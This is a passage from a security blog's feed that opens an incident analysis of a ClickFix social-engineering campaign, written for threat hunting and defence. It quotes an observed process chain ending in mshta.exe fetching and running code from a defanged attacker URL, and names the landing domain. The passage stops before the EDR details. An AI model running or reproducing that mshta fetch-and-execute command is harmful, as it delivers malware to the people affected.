https://p0peye-blog.pages.dev/categories/investigating-cyber-campaigns/Recent content in Investigating Cyber Campaigns on Ahmad Massd — Security BlogHugo -- gohugo.ioenahmad.massad.ir@gmail.com (Ahmad Massad)ahmad.massad.ir@gmail.com (Ahmad Massad)© 2026 Ahmad MassadTue, 01 Jul 2025 00:00:00 +0000https://p0peye-blog.pages.dev/posts/purematrixa-clickfix-analysis/Tue, 01 Jul 2025 00:00:00 +0000ahmad.massad.ir@gmail.com (Ahmad Massad)https://p0peye-blog.pages.dev/posts/purematrixa-clickfix-analysis/<h2 class="relative group">Incident Overview <div id="incident-overview" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#incident-overview" aria-label="Anchor">#</a> </span> </h2> <p>While conducting a threat hunting deep dive into a resolved <strong>ClickFix</strong> incident, I tracked the infection chain back to the landing domain <code>turbowave45[.]com</code>. The original execution chain on the target Windows workstation was highly indicative of a modern social engineering / fake update lure:</p> <div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>chrome.exe → explorer.exe → powershell.exe → mshta.exe https://purematrixa[.]com/1751517</span></span></code></pre></div></div> <p>The EDR flagged and killed the process at:</p>